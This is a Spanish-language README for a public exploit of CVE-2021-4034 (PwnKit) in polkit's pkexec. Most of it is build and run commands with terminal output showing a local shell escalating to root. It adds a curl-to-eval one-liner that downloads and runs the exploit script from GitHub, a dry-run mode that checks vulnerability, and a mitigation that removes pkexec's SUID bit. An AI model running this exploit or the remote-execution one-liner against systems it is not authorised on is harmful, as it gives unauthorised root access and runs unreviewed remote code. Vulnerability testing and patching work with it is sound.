
Exploit para CVE-2021-4034 (PwnKit) dirigido a polkit pkexec para lograr escalada de privilegios local a root en sistemas Linux. Incluye modo de prueba en seco para verificar la vulnerabilidad.
Un día para el exploit de escalada de privilegios de polkit
Simplemente ejecuta make, ./cve-2021-4034 y disfruta de tu shell de root.
El aviso original de los autores reales está aquí
Si el exploit funciona, obtendrás una shell de root inmediatamente:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
Actualizar polkit en la mayoría de los sistemas parcheará el exploit, por lo que verás el uso y el programa terminará:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
Para no ejecutar una shell, sino solo probar si el sistema es vulnerable, compila el objetivo dry-run.
Si el programa termina mostrando "root", significa que tu sistema es vulnerable al exploit.
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
Si tu sistema no es vulnerable, imprime un error y sale.
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit (anteriormente PolicyKit) es un componente para controlar los privilegios a nivel de sistema en sistemas operativos tipo Unix. Proporciona una forma organizada para que los procesos no privilegiados se comuniquen con procesos privilegiados. También es posible usar polkit para ejecutar comandos con privilegios elevados utilizando el comando pkexec seguido del comando que se pretende ejecutar (con permiso de root).
Puedes explotar fácilmente el sistema con un único script, descargable y ejecutable con este comando:
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
Si no hay parches disponibles para tu sistema operativo, puedes eliminar el bit SUID de pkexec como mitigación temporal.
# chmod 0755 /usr/bin/pkexec
El exploit fallará entonces quejándose de que pkexec debe tener el
bit setuid habilitado.
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root